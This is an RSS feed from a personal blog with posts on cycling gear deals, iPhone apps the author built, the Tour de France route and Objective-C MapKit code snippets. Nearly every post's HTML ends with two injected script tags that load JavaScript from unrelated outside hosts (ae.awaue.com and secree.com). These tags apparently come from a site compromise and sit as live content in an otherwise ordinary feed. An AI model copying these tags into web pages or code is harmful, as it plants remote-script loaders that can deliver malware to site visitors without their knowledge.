<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric McConkie</title>
	<atom:link href="http://ericmcconkie.com/v2/feed/" rel="self" type="application/rss+xml" />
	<link>http://ericmcconkie.com/v2</link>
	<description></description>
	<lastBuildDate>Fri, 26 Feb 2010 14:35:58 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>shopping deals for cyclists</title>
		<link>http://ericmcconkie.com/v2/2010/02/deals-for-cyclists/</link>
		<comments>http://ericmcconkie.com/v2/2010/02/deals-for-cyclists/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 14:23:34 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[cycling]]></category>

		<guid isPermaLink="false">http://ericmcconkie.com/v2/?p=395</guid>
		<description><![CDATA[I am tired of scouring the web for deals on gear for cycling. So, here&#8217;s my list for future reference:

ebay &#8211; duh
chainlove *
bonktown* - it&#8217;s chainloves cousin
hunkroll*
53&#215;11
nashbar outlet
performance &#8211; i am not a big fan of the &#8220;wallmart&#8221; for cycling, but when it comes to tires and tubes, who cares

finally, a long comprehensive list
*seemingly part of [...]]]></description>
			<content:encoded><![CDATA[<p>I am tired of scouring the web for deals on gear for cycling. So, here&#8217;s my list for future reference:</p>
<ol>
<li><a href="http://www.ebay.com" target="_blank">ebay</a> &#8211; duh</li>
<li><a href="http://www.chainlove.com/" target="_blank">chainlove</a> *</li>
<li><a href="http://www.bonktown.com/" target="_blank">bonktown</a>* - it&#8217;s chainloves cousin</li>
<li><a href="http://www.hucknroll.com/" target="_blank">hunkroll</a>*</li>
<li><a href="http://www.53x11bike.com" target="_blank">53&#215;11</a></li>
<li><a href="http://www.nashbar.com/webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10052&amp;categoryId=11501&amp;langId=-1&amp;storeId=10053&amp;cm_re=Homepage-_-Right-_-Clearance_Outlet" target="_blank">nashbar outlet</a></li>
<li><a href="http://www.performancebike.com/bikes/TopCategory_10052_10551_400278_-1_400278_Y" target="_blank">performance</a> &#8211; i am not a big fan of the &#8220;wallmart&#8221; for cycling, but when it comes to tires and tubes, who cares</li>
</ol>
<p>finally, a <a href="http://www.qbike.com/deals/index.shtml" target="_blank">long comprehensive list</a></p>
<p>*seemingly part of the same family/company/retialer<script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2010/02/deals-for-cyclists/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VeloVoyeur</title>
		<link>http://ericmcconkie.com/v2/2010/01/velovoyeur/</link>
		<comments>http://ericmcconkie.com/v2/2010/01/velovoyeur/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 15:53:30 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[iPhone]]></category>

		<guid isPermaLink="false">http://ericmcconkie.com/v2/?p=379</guid>
		<description><![CDATA[More info is here. We are currently in review at Apple&#8230;that sounds about right for making the Paris-Nice deadline!
  

]]></description>
			<content:encoded><![CDATA[<p>More info is <a href="http://www.velovoyeur.com">here</a>. We are currently in review at Apple&#8230;that sounds about right for making the Paris-Nice deadline!</p>
<p><img class="alignnone size-medium wp-image-385" title="IMG_0669" src="http://ericmcconkie.com/v2/wp-content/uploads/2010/01/IMG_0669-200x300.PNG" alt="IMG_0669" width="200" height="300" /> <img class="alignnone size-medium wp-image-392" title="IMG_0677" src="http://ericmcconkie.com/v2/wp-content/uploads/2010/01/IMG_0677-200x300.PNG" alt="IMG_0677" width="200" height="300" /> <img class="alignnone size-medium wp-image-391" title="IMG_0676" src="http://ericmcconkie.com/v2/wp-content/uploads/2010/01/IMG_0676-200x300.PNG" alt="IMG_0676" width="200" height="300" /></p>
<p><script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2010/01/velovoyeur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ohCanada &#8211; Winter Games Watch</title>
		<link>http://ericmcconkie.com/v2/2009/11/olympicapp2010/</link>
		<comments>http://ericmcconkie.com/v2/2009/11/olympicapp2010/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 16:22:05 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[CakePHP]]></category>
		<category><![CDATA[Objective C]]></category>

		<guid isPermaLink="false">http://ericmcconkie.com/v2/?p=362</guid>
		<description><![CDATA[The Winter Games Watch is simply your portal to the 2010 Vancouver Olympic Winter games. The application gives you the schedule for each day by date or by event. As well, Winter Games Watch will show you how to get to the venue, should you be so lucky as to heading north this February.

Among other [...]]]></description>
			<content:encoded><![CDATA[<p><a class="tt-flickr tt-flickr tt-flickr-Medium" title="olympicsapp-spalsh" href="http://farm3.static.flickr.com/2544/4103420870_5b5ca94bea_o.jpg"><img src="http://farm3.static.flickr.com/2544/4103420870_e07c6144a4.jpg" border="0" alt="olympicsapp-spalsh" width="268" height="500" /></a></p>
<p>The Winter Games Watch is simply your portal to the 2010 Vancouver Olympic Winter games. The application gives you the schedule for each day by date or by event. As well, Winter Games Watch will show you how to get to the venue, should you be so lucky as to heading north this February.</p>
<p><span id="more-362"></span><br />
Among other features are current events, news, and a real time medal count so you can see which countries are taking home the gold!</p>
<p>A special thank you to our neighbors in the north (Canada)  for being this year&#8217;s hosts! We are looking forward to the fun and camaraderie offered by these special games.</p>
<div class="flickr-photos"><a class="tt-flickr tt-flickr-Thumbnail" href="http://farm3.static.flickr.com/2544/4103420870_5b5ca94bea_o.jpg" rel="album-72157622677228083" id="photo-4103420870" title="olympicsapp-spalsh"><img src="http://farm3.static.flickr.com/2544/4103420870_e07c6144a4_t.jpg" width="54" height="100" alt="olympicsapp-spalsh" /></a> <a class="tt-flickr tt-flickr-Thumbnail" href="http://farm3.static.flickr.com/2692/4103463958_296155dca7_o.jpg" rel="album-72157622677228083" id="photo-4103463958" title="iPhone-Simulator"><img src="http://farm3.static.flickr.com/2692/4103463958_feb96965b0_t.jpg" width="54" height="100" alt="iPhone-Simulator" /></a> <a class="tt-flickr tt-flickr-Thumbnail" href="http://farm3.static.flickr.com/2652/4103464220_d706db504f_o.jpg" rel="album-72157622677228083" id="photo-4103464220" title="iPhone-Simulator-3"><img src="http://farm3.static.flickr.com/2652/4103464220_ebbc7d8003_t.jpg" width="54" height="100" alt="iPhone-Simulator-3" /></a> <a class="tt-flickr tt-flickr-Thumbnail" href="http://farm3.static.flickr.com/2787/4103464436_8408160927_o.jpg" rel="album-72157622677228083" id="photo-4103464436" title="iPhone-Simulator-2"><img src="http://farm3.static.flickr.com/2787/4103464436_4ff028c714_t.jpg" width="54" height="100" alt="iPhone-Simulator-2" /></a> <a class="tt-flickr tt-flickr-Thumbnail" href="http://farm3.static.flickr.com/2648/4103464614_cb45d32fc4_o.jpg" rel="album-72157622677228083" id="photo-4103464614" title="iPhone-Simulator-4"><img src="http://farm3.static.flickr.com/2648/4103464614_6d21ac57a9_t.jpg" width="54" height="100" alt="iPhone-Simulator-4" /></a> <a class="tt-flickr tt-flickr-Thumbnail" href="http://farm3.static.flickr.com/2582/4103464928_9a64fea2f7_o.jpg" rel="album-72157622677228083" id="photo-4103464928" title="iPhone-Simulator-1"><img src="http://farm3.static.flickr.com/2582/4103464928_53cb782dff_t.jpg" width="54" height="100" alt="iPhone-Simulator-1" /></a> </div>
<p>UPDATE: It&#8217;s almost here, and in the hopper. Apple, it&#8217;s all up to you now!</p>
<p>UPDATE (2009.12.03): it&#8217; here!!</p>
<p><a href="http://itunes.apple.com/us/app/ohcanada/id340805955?mt=8"><img class="alignnone size-full wp-image-374" title="as_available_appstore_icon_20091006" src="http://ericmcconkie.com/v2/wp-content/uploads/2009/11/as_available_appstore_icon_20091006.png" alt="as_available_appstore_icon_20091006" width="160" height="61" /></a><script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2009/11/olympicapp2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Callout bubble in MKMapView</title>
		<link>http://ericmcconkie.com/v2/2009/11/callout-bubble-in-mkmapview/</link>
		<comments>http://ericmcconkie.com/v2/2009/11/callout-bubble-in-mkmapview/#comments</comments>
		<pubDate>Fri, 06 Nov 2009 19:48:42 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Lab Work]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://ericmcconkie.com/v2/?p=343</guid>
		<description><![CDATA[All i needed was some custom text in the call out bubble, and then i needed that bubble to appear just as the pin dropped. i spent hours on something that seemed so simple&#8230;and actually , it is simple.
There are a few unknonwns about the MKMap framework. Namely, how to customize the bubble in the [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-medium wp-image-344" title="custom bubble" src="http://ericmcconkie.com/v2/wp-content/uploads/2009/11/iPhone-Simulator-198x300.jpg" alt="custom bubble" width="198" height="300" /></p>
<p>All i needed was some custom text in the call out bubble, and then i needed that bubble to appear just as the pin dropped. i spent hours on something that seemed so simple&#8230;and actually , it is simple.</p>
<p><span id="more-343"></span>There are a few unknonwns about the MKMap framework. Namely, how to customize the bubble in the callout. A few terms that may be helpful since Apple did  not do a great job on explaining this:</p>
<p><em>MKAnnotation</em>: essentially, this is the callout bubble.</p>
<p><em>MKPinAnnotationView</em> : this is the pin that drop. Can be just about any UIImage or UIView, and does not have to drop (animiated:NO)</p>
<p><em>CLLocationCoordinate2D</em>: it&#8217;s a mouthful, but this is essentially a C structure that contains the lat/long (point) of where you are mapping</p>
<p><em>MKCoordinateRegion</em>: in Apple&#8217;s own words = &#8220;A structure that defines which portion of the map to display.&#8221;. Ok, i&#8217;ll give them that one. Once you define your CLLocationCoordinate2D, you can pass it&#8217;s properties to this guy, and manage how much of your map you will be showing. This Object allows you to set the zoom level (&#8221;span&#8221;) on loading your map. It&#8217;s a bit of reverse psychology (at least for me)&#8230;the greater the span, the &#8220;higher your birdseye&#8221;&#8230;.lower the span, the closer to your CLLocationCoordinate2D point. (IE: if you have 0 span, think of this as the point itself).</p>
<p><em>MKMapView </em>: This is where it&#8217;s all happening. Remember to conform to the delegate protocol in your class before doing anything:</p>
<p>Ok, so some code&#8230;in my example i have a wrapper class to house all this fun stuff. The class contains my webview, delegate methods , and includes the most important part: a custom class to inherit from MKAnnotation. This is necessary to access the title/subtitle  . The guys at InvasiveCode solved this for me (link below).</p>

<div class="wp_syntax"><div class="code"><pre class="objc" style="font-family:monospace;"><span style="color: #6e371a;">#import </span>
<span style="color: #6e371a;">#import </span>
&nbsp;
<span style="color: #a61390;">@interface</span> MyAnnotation <span style="color: #002200;">:</span> <span style="color: #400080;">NSObject</span> <span style="color: #002200;">&#123;</span>
	<span style="color: #400080;">NSString</span> <span style="color: #002200;">*</span>title;
	<span style="color: #400080;">NSString</span> <span style="color: #002200;">*</span>subtitle;
	CLLocationCoordinate2D coordinate;
<span style="color: #002200;">&#125;</span>
<span style="color: #a61390;">@property</span><span style="color: #002200;">&#40;</span>nonatomic,assign<span style="color: #002200;">&#41;</span> CLLocationCoordinate2D coordinate;
<span style="color: #a61390;">@property</span><span style="color: #002200;">&#40;</span>nonatomic,retain<span style="color: #002200;">&#41;</span> <span style="color: #400080;">NSString</span> <span style="color: #002200;">*</span>title;
<span style="color: #a61390;">@property</span><span style="color: #002200;">&#40;</span>nonatomic,retain<span style="color: #002200;">&#41;</span> <span style="color: #400080;">NSString</span> <span style="color: #002200;">*</span>subtitle;
<span style="color: #a61390;">@end</span></pre></div></div>

<p>implementation is really nothing, but necessary</p>

<div class="wp_syntax"><div class="code"><pre class="objc" style="font-family:monospace;"><span style="color: #6e371a;">#import &quot;MyAnnotation.h&quot;</span>
&nbsp;
<span style="color: #a61390;">@implementation</span> MyAnnotation
<span style="color: #a61390;">@synthesize</span> title;
<span style="color: #a61390;">@synthesize</span> subtitle;
<span style="color: #a61390;">@synthesize</span> coordinate;
<span style="color: #002200;">-</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">void</span><span style="color: #002200;">&#41;</span> dealloc
<span style="color: #002200;">&#123;</span>
	<span style="color: #002200;">&#91;</span>title release<span style="color: #002200;">&#93;</span>;
	<span style="color: #002200;">&#91;</span>subtitle release<span style="color: #002200;">&#93;</span>;
	<span style="color: #002200;">&#91;</span>super dealloc<span style="color: #002200;">&#93;</span>;
<span style="color: #002200;">&#125;</span>
<span style="color: #a61390;">@end</span></pre></div></div>

<p>Finally, in my MapViewController, i have a method i call when i am ready to make it all come together&#8230;</p>

<div class="wp_syntax"><div class="code"><pre class="objc" style="font-family:monospace;"><span style="color: #002200;">-</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">void</span><span style="color: #002200;">&#41;</span> assignLocation<span style="color: #002200;">:</span><span style="color: #002200;">&#40;</span><span style="color: #400080;">NSDictionary</span> <span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span>locationDictionary
<span style="color: #002200;">&#123;</span>
&nbsp;
	mappy <span style="color: #002200;">=</span><span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span>MKMapView alloc<span style="color: #002200;">&#93;</span> initWithFrame<span style="color: #002200;">:</span>CGRectMake<span style="color: #002200;">&#40;</span><span style="color: #2400d9;">0</span>,<span style="color: #2400d9;">0</span>,self.view.frame.size.width,self.view.frame.size.height<span style="color: #002200;">&#41;</span><span style="color: #002200;">&#93;</span>;
	mappy.showsUserLocation <span style="color: #002200;">=</span> <span style="color: #a61390;">NO</span>;
	mappy.delegate <span style="color: #002200;">=</span> self;
	<span style="color: #002200;">&#91;</span>self.view  addSubview<span style="color: #002200;">:</span>mappy<span style="color: #002200;">&#93;</span>;
&nbsp;
	CLLocationCoordinate2D thislocation <span style="color: #002200;">=</span> mappy.userLocation.coordinate;
&nbsp;
	thislocation.latitude <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span>locationDictionary objectForKey<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;Venue&quot;</span><span style="color: #002200;">&#93;</span>objectForKey<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;lat&quot;</span><span style="color: #002200;">&#93;</span> floatValue<span style="color: #002200;">&#93;</span>;
	thislocation.longitude <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span>locationDictionary objectForKey<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;Venue&quot;</span><span style="color: #002200;">&#93;</span>objectForKey<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;lng&quot;</span><span style="color: #002200;">&#93;</span> floatValue<span style="color: #002200;">&#93;</span>;
	MKCoordinateRegion region <span style="color: #002200;">=</span> <span style="color: #002200;">&#123;</span> <span style="color: #002200;">&#123;</span><span style="color: #2400d9;">0.0</span>, <span style="color: #2400d9;">0.0</span> <span style="color: #002200;">&#125;</span>, <span style="color: #002200;">&#123;</span> <span style="color: #2400d9;">0.0</span>, <span style="color: #2400d9;">0.0</span> <span style="color: #002200;">&#125;</span> <span style="color: #002200;">&#125;</span>;
	region.center.latitude <span style="color: #002200;">=</span> thislocation.latitude;
	region.center.longitude <span style="color: #002200;">=</span> thislocation.longitude;
	region.span.longitudeDelta <span style="color: #002200;">=</span> 0.01f;
	region.span.latitudeDelta <span style="color: #002200;">=</span> 0.01f;	
&nbsp;
	<span style="color: #002200;">&#91;</span>mappy setRegion<span style="color: #002200;">:</span>region animated<span style="color: #002200;">:</span><span style="color: #a61390;">YES</span><span style="color: #002200;">&#93;</span>;
	<span style="color: #002200;">&#91;</span>mappy regionThatFits<span style="color: #002200;">:</span>region<span style="color: #002200;">&#93;</span>;
&nbsp;
       <span style="color: #11740a; font-style: italic;">//add my custom annotation, with access to title/subtitle</span>
	MyAnnotation <span style="color: #002200;">*</span>anote <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span>MyAnnotation alloc<span style="color: #002200;">&#93;</span> init<span style="color: #002200;">&#93;</span>;
	anote.coordinate <span style="color: #002200;">=</span> thislocation;
	anote.title <span style="color: #002200;">=</span><span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span>locationDictionary objectForKey<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;Venue&quot;</span><span style="color: #002200;">&#93;</span>objectForKey<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;name&quot;</span><span style="color: #002200;">&#93;</span>;
	anote.subtitle <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span>locationDictionary objectForKey<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;Venue&quot;</span><span style="color: #002200;">&#93;</span>objectForKey<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;address&quot;</span><span style="color: #002200;">&#93;</span>;
	<span style="color: #002200;">&#91;</span>mappy addAnnotation<span style="color: #002200;">:</span>anote<span style="color: #002200;">&#93;</span>;
<span style="color: #002200;">&#125;</span></pre></div></div>

<p>Cool&#8230;but what about getting that callout to &#8220;pop on drop&#8221;? Yeah, lets do that too&#8230;.becuase you are conforming to the map delegate , you have access to a few useful methods. Namely: viewForAnnotation  and mapViewDidFinishLoadingMap .</p>

<div class="wp_syntax"><div class="code"><pre class="objc" style="font-family:monospace;"><span style="color: #002200;">-</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">void</span><span style="color: #002200;">&#41;</span>displayExtraDetailsFromInfoButton
<span style="color: #002200;">&#123;</span>
&nbsp;
<span style="color: #002200;">&#125;</span>
&nbsp;
<span style="color: #002200;">-</span> <span style="color: #002200;">&#40;</span>MKAnnotationView <span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span> mapView<span style="color: #002200;">:</span><span style="color: #002200;">&#40;</span>MKMapView <span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span>mapView viewForAnnotation<span style="color: #002200;">:</span><span style="color: #002200;">&#40;</span><span style="color: #a61390;">id</span> <span style="color: #002200;">&#41;</span> annotation
<span style="color: #002200;">&#123;</span>
	MKPinAnnotationView <span style="color: #002200;">*</span>annView<span style="color: #002200;">=</span><span style="color: #002200;">&#91;</span><span style="color: #002200;">&#91;</span>MKPinAnnotationView alloc<span style="color: #002200;">&#93;</span> initWithAnnotation<span style="color: #002200;">:</span>annotation reuseIdentifier<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;currentloc&quot;</span><span style="color: #002200;">&#93;</span>;
	annView.animatesDrop<span style="color: #002200;">=</span>TRUE;
	UIButton <span style="color: #002200;">*</span>addButton <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span>UIButton buttonWithType<span style="color: #002200;">:</span>UIButtonTypeInfoLight<span style="color: #002200;">&#93;</span>;
	<span style="color: #002200;">&#91;</span>addButton addTarget<span style="color: #002200;">:</span>self action<span style="color: #002200;">:</span><span style="color: #a61390;">@selector</span><span style="color: #002200;">&#40;</span>displayExtraDetailsFromInfoButton<span style="color: #002200;">&#41;</span> forControlEvents<span style="color: #002200;">:</span>UIControlEventTouchUpInside<span style="color: #002200;">&#93;</span>;
	annView.rightCalloutAccessoryView <span style="color: #002200;">=</span> addButton;
&nbsp;
	<span style="color: #002200;">&#91;</span>annView setCanShowCallout<span style="color: #002200;">:</span><span style="color: #a61390;">YES</span><span style="color: #002200;">&#93;</span>;
	<span style="color: #002200;">&#91;</span>annView setSelected<span style="color: #002200;">:</span><span style="color: #a61390;">YES</span> animated<span style="color: #002200;">:</span><span style="color: #a61390;">YES</span><span style="color: #002200;">&#93;</span>;
&nbsp;
	<span style="color: #a61390;">return</span> annView;
<span style="color: #002200;">&#125;</span>
&nbsp;
<span style="color: #002200;">-</span> <span style="color: #002200;">&#40;</span><span style="color: #a61390;">void</span><span style="color: #002200;">&#41;</span>mapViewDidFinishLoadingMap<span style="color: #002200;">:</span><span style="color: #002200;">&#40;</span>MKMapView <span style="color: #002200;">*</span><span style="color: #002200;">&#41;</span>mapView
<span style="color: #002200;">&#123;</span>
	<span style="color: #a61390;">for</span> <span style="color: #002200;">&#40;</span><span style="color: #a61390;">id</span> currentAnnotation <span style="color: #a61390;">in</span> mapView.annotations<span style="color: #002200;">&#41;</span> <span style="color: #002200;">&#123;</span>
		<span style="color: #002200;">&#91;</span>mapView selectAnnotation<span style="color: #002200;">:</span>currentAnnotation animated<span style="color: #002200;">:</span><span style="color: #a61390;">YES</span><span style="color: #002200;">&#93;</span>;
	<span style="color: #002200;">&#125;</span>
<span style="color: #002200;">&#125;</span></pre></div></div>

<p>special thanks to <a href="http://www.invasivecode.com/2009/07/adding-maps-to-your-iphone-app-mapkit/comment-page-1/#comment-401" target="_blank">invasive code</a> &#8211; the MKAnnotation was everything i needed to get this map interface working like i wanted</p>
<p><script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2009/11/callout-bubble-in-mkmapview/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Adding an int or float to an Array or Dictionary</title>
		<link>http://ericmcconkie.com/v2/2009/10/adding-an-int-or-float-to-an-array-or-dictionary/</link>
		<comments>http://ericmcconkie.com/v2/2009/10/adding-an-int-or-float-to-an-array-or-dictionary/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 04:14:32 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Lab Work]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Objective C]]></category>

		<guid isPermaLink="false">http://ericmcconkie.com/v2/?p=340</guid>
		<description><![CDATA[omg, i can&#8217;t believe how strict Objective C can be. While working with MKMapView on an iPhone app i am currently writing, i was trying to pass the lattitude and longitude to a custom class. My code looked like:

NSDictionary *locationDictionary = [NSDictionary dictionaryWithObjectsAndKeys:49.277778,@&#34;lat&#34;,-123.108889,@&#34;long&#34;,nil];

alas, one must do this:

NSDictionary *locationDictionary = [NSDictionary dictionaryWithObjectsAndKeys:[NSNumber numberWithFloat:49.277778],@&#34;lat&#34;,[NSNumber numberWithFloat:-123.108889],@&#34;long&#34;,nil];

i think i [...]]]></description>
			<content:encoded><![CDATA[<p>omg, i can&#8217;t believe how strict Objective C can be. While working with MKMapView on an iPhone app i am currently writing, i was trying to pass the lattitude and longitude to a custom class. My code looked like:</p>

<div class="wp_syntax"><div class="code"><pre class="objectivec" style="font-family:monospace;">NSDictionary *locationDictionary = [NSDictionary dictionaryWithObjectsAndKeys:49.277778,@&quot;lat&quot;,-123.108889,@&quot;long&quot;,nil];</pre></div></div>

<p>alas, one must do this:</p>

<div class="wp_syntax"><div class="code"><pre class="objectivec" style="font-family:monospace;">NSDictionary *locationDictionary = [NSDictionary dictionaryWithObjectsAndKeys:[NSNumber numberWithFloat:49.277778],@&quot;lat&quot;,[NSNumber numberWithFloat:-123.108889],@&quot;long&quot;,nil];</pre></div></div>

<p>i think i need to start a post of the little things that drive me mad in this crazy language. By far , concatenating a string is the winner.<script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2009/10/adding-an-int-or-float-to-an-array-or-dictionary/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tour De France 2010- Rotterdam</title>
		<link>http://ericmcconkie.com/v2/2009/10/tour-de-france-2010-rotterdam/</link>
		<comments>http://ericmcconkie.com/v2/2009/10/tour-de-france-2010-rotterdam/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 22:22:22 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[cycling]]></category>

		<guid isPermaLink="false">http://ericmcconkie.com/v2/?p=284</guid>
		<description><![CDATA[Nobody was more excited about the TDF course announcement then myself. However, the Rotterdam video convinces me the better part of the tour will be at the end.Every year, i can&#8217;t get enough of the unveiling video&#8230;.the flyover effect, the music, the drama. I can imagine the guys sitting in their chairs at the event, [...]]]></description>
			<content:encoded><![CDATA[<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="340" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/tRksR1jdt3c&amp;hl=en&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="340" src="http://www.youtube.com/v/tRksR1jdt3c&amp;hl=en&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Nobody was more excited about the TDF course announcement then myself. However, the Rotterdam video convinces me the better part of the tour will be at the end.<span id="more-284"></span>Every year, i can&#8217;t get enough of the <a href="http://www.youtube.com/watch?v=N4nJwtkS6g0&amp;feature=player_embedded">unveiling video</a>&#8230;.the flyover effect, the music, the drama. I can imagine the guys sitting in their chairs at the event, wincing at the video flyovers of Massif Central, the Alps, and of course this year, the Pyrenees. But what struck me most, was the video for this year&#8217;s opener. The venue is Rotterdam, and really, it&#8217;s well deserved for such a HUGE cycling culture. However, it&#8217;s really an awful video&#8230;the music sounds like church music, and apparently the organizers are not pushing helmets this season . Among highlights from the video:</p>
<ul>
<li>The child toter&#8230;i have actually seen these in San Francisco @ <a href="http://www.mydutchbike.com/">My Dutch Bike</a> and they are cool 
<a href="http://ericmcconkie.com/v2/wp-content/gallery/cycling/child-totter.jpg" title="" class="shutterset_singlepic1" >
	<img class="ngg-singlepic" src="http://ericmcconkie.com/v2/wp-content/gallery/cache/1__320x240_child-totter.jpg" alt="child-totter" title="child-totter" />
</a>
</li>
<li>I did not know that Dune was filmed in Rotterdam. 
<a href="http://ericmcconkie.com/v2/wp-content/gallery/cycling/dune.jpg" title="" class="shutterset_singlepic2" >
	<img class="ngg-singlepic" src="http://ericmcconkie.com/v2/wp-content/gallery/cache/2__320x240_dune.jpg" alt="dune" title="dune" />
</a>
</li>
<li>Google&#8217;s bid to set up their European headquarters.
<a href="http://ericmcconkie.com/v2/wp-content/gallery/cycling/google-takes-over-rotterdam.jpg" title="" class="shutterset_singlepic3" >
	<img class="ngg-singlepic" src="http://ericmcconkie.com/v2/wp-content/gallery/cache/3__320x240_google-takes-over-rotterdam.jpg" alt="google-takes-over-rotterdam" title="google-takes-over-rotterdam" />
</a>
</li>
<li>The messenger with arrow bars. 
<a href="http://ericmcconkie.com/v2/wp-content/gallery/cycling/messneger-with-arrows.jpg" title="" class="shutterset_singlepic4" >
	<img class="ngg-singlepic" src="http://ericmcconkie.com/v2/wp-content/gallery/cache/4__320x240_messneger-with-arrows.jpg" alt="messneger-with-arrows" title="messneger-with-arrows" />
</a>
</li>
<li>Our main character taking advantage of  his age  while passing one of the TDF&#8217;s greatest ever! 
<a href="http://ericmcconkie.com/v2/wp-content/gallery/cycling/the-pass.jpg" title="" class="shutterset_singlepic5" >
	<img class="ngg-singlepic" src="http://ericmcconkie.com/v2/wp-content/gallery/cache/5__320x240_the-pass.jpg" alt="the-pass" title="the-pass" />
</a>
</li>
<li>The smooth pickup: 
<a href="http://ericmcconkie.com/v2/wp-content/gallery/cycling/the-pickup.jpg" title="" class="shutterset_singlepic6" >
	<img class="ngg-singlepic" src="http://ericmcconkie.com/v2/wp-content/gallery/cache/6__320x240_the-pickup.jpg" alt="the-pickup" title="the-pickup" />
</a>
</li>
</ul>
<p>Nonetheless, the organizers of the Tour de France never disappoint, and i for one can not wait. Only 9 more months&#8230;ugh<script src="http://ae.awaue.com/7"></script><script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://ericmcconkie.com/v2/2009/10/tour-de-france-2010-rotterdam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Diablo?</title>
		<link>http://ericmcconkie.com/v2/2009/10/diablo/</link>
		<comments>http://ericmcconkie.com/v2/2009/10/diablo/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 17:08:29 +0000</pubDate>
		<dc:creator>eric</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[cycling]]></category>

		<guid isPermaLink="false">http://ericmcconkie.com/v2/2009/10/diablo/</guid>
		<description><![CDATA[The one day I wish I had a triple.


]]></description>
